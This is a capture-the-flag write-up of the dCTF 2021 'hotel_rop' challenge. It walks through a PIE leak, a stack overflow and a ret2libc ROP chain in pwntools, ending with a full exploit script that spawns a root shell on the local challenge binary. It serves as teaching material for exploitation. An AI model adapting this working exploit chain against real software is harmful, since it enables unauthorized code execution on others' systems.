Today, we will be looking at a pwn challenge from dCTF 2021 which features ret2libc exploitation with a little twist of a PIE-enabled
binary. The following PwnTools features will be introduced here:
- pwnlib.rop to help us craft ROP chains
- pwnlib.elf to make finding addresses quick and easy
- and many more little modules from
pwntools
to help us pwn faster ~
Challenge Description
They say programmers' dream is California. And because they need somewhere to stay, we’ve built a hotel!
Attachments: hotel_rop
Getting Started
For this challenge, we are provided with a binary and nothing else.
We quickly check the security features of the binary with pwn checksec hotel_rop
which returns
[*] '/media/sf_dabian/Challenges/dctf/pwn/hotel_rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
As shown, PIE
and NX
is enabled. Let’s run the binary and check out what we are dealing with
➜ ./hotel_rop
Welcome to Hotel ROP, on main street 0x55e4cd29636d
You come here often?
test
I think you should come here more often.
As you can see, we are given a leak and an input. Let’s decompile and look at what’s going on behind the scenes.
int main()
{
alarm(0xAu);
printf("Welcome to Hotel ROP, on main street %p\n", main);
vuln();
return 0;
}
int vuln()
{
int result;
char s[28];
int v2;
puts("You come here often?");
fgets(s, 256, stdin);
if ( v2 )
result = puts("I think you should come here more often.");
else
result = puts("Oh! You are already a regular visitor!");
return result;
}
As you can see, we have a leak which points to main()
, and we have a buffer overflow in vuln()
as we are given 256 bytes of input into a variable that holds 28 bytes of data.
With this, it becomes rather apparent that we have to do a ret2libc
in order to spawn a shell and win. However, since this binary is PIE
enabled, we have to first calculate the PIE
base.
Exploitation
Stage 1: Calculate PIE base
Since we know that our leak is the address of main()
, we can easily calculate our offset with elf.sym.main
and set it as the base_address by saving it to elf.address
.
from pwn import *
context.binary = elf = ELF('hotel_rop')
p = process('./hotel_rop')
libc = elf.libc # set libc
#: RECEIVE LEAK CALCULATE PIE BASE
p.recvuntil(b'main street ')
mainleak = int(p.recvline().rstrip(b'\n'), 16)
# use elf to save find main address and save PIE base into elf.address
elf.address = mainleak - elf.sym.main
log.info(f'pie base @ {hex(elf.address)}')
OUTPUT:
[x] Starting local process './hotel_rop' [+] Starting local process './hotel_rop': pid 19494 [*] Stopped process './hotel_rop' (pid 19494) [*] pie base @ 0x562e0d3bf000
Running the script, we see that we successfully found PIE base.
Stage 2: Leak and calculate LIBC base
Since LIBC is ASLR-enabled, we also have to calculate the LIBC base. This means we will need a LIBC leak and we will do that in our rop.chain()
.
We will leak an address from the GOT
which contains libc addresses, and from there, calculate our libc base address.
Let’s write our rop.chain()
, but without having to find any gadgets or addresses ourselves!!
#: LEAK PUTS GOT
# create rop chain
rop1 = ROP(elf)
rop1.puts(elf.got.puts)
rop1.main()
log.info(rop1.dump())
# send rop chain with auto 40 bytes cyclic padding
p.sendline(flat({ 40: rop1.chain()}))
p.recvuntil(b'often.\n')
#: CALCULATE LIBC BASE FIND BINSH
putsgotleak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
libc.address = putsgotleak - libc.sym.puts
log.success(f'libc base @ {hex(libc.address)}')
OUTPUT:
[+] Starting local process './hotel_rop': pid 19878 [*] pie base @ 0x562942b04000 [*] Loaded 14 cached gadgets for 'hotel_rop' [*] 0x0000: 0x562942b0540b pop rdi; ret 0x0008: 0x562942b08018 [arg0] rdi = got.puts 0x0010: 0x562942b05030 puts 0x0018: 0x562942b0536d main() [+] libc base @ 0x7f9950b69000 [*] Stopped process './hotel_rop' (pid 19878)
Success! Let’s proceed with the last part of our exploit.
Stage 3: Return 2 LIBC System!
Now we have all the pieces we need to return to libc. This is super simple with pwntools as well, we simply need to look for our ‘/bin/sh’ string with libc.search()
and call rop.system(binsh)
.
# locates binsh string from libc
binsh = next(libc.search(b'/bin/sh'))
#: POP SHELL
rop2 = ROP([libc, elf])
rop2.system(binsh)
p.sendline(flat({40: rop2.chain()}))
log.success(f'Enjoy your shell!')
p.clean()
p.interactive() # win!
OUTPUT:
[*] 0x0000: 0x7f337c437796 pop rdi; ret
0x0008: 0x7f337c59b156 [arg0] rdi = 139859106312534
0x0010: 0x7f337c459e50 system
[+] Enjoy your shell!
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
With that, we successfully popped a shell and pwned the binary!
Clean Script
from pwn import *
p = process('./hotel_rop')
context.binary = elf = ELF('hotel_rop')
libc = elf.libc
#: RECEIVE LEAK CALCULATE PIE BASE
p.recvuntil(b'main street ')
mainleak = int(p.recvline().rstrip(b'\n'), 16)
elf.address = mainleak - elf.sym.main
#: LEAK PUTS GOT
rop1 = ROP(elf)
rop1.puts(elf.got.puts)
rop1.main()
p.sendline(flat({ 40: rop1.chain()}))
p.recvuntil(b'often.\n')
#: CALCULATE LIBC BASE FIND BINSH
putsgotleak = u64(p.recvline().strip(b'\n').ljust(8, b'\x00'))
libc.address = putsgotleak - libc.sym.puts
binsh = next(libc.search(b'/bin/sh'))
#: POP SHELL
rop2 = ROP([libc, elf])
rop2.system(binsh)
p.sendline(flat({40: rop2.chain()}))
log.success(f'Enjoy your shell!')
p.clean()
p.interactive()
This post was contributed by Elma. Check him out on his blog!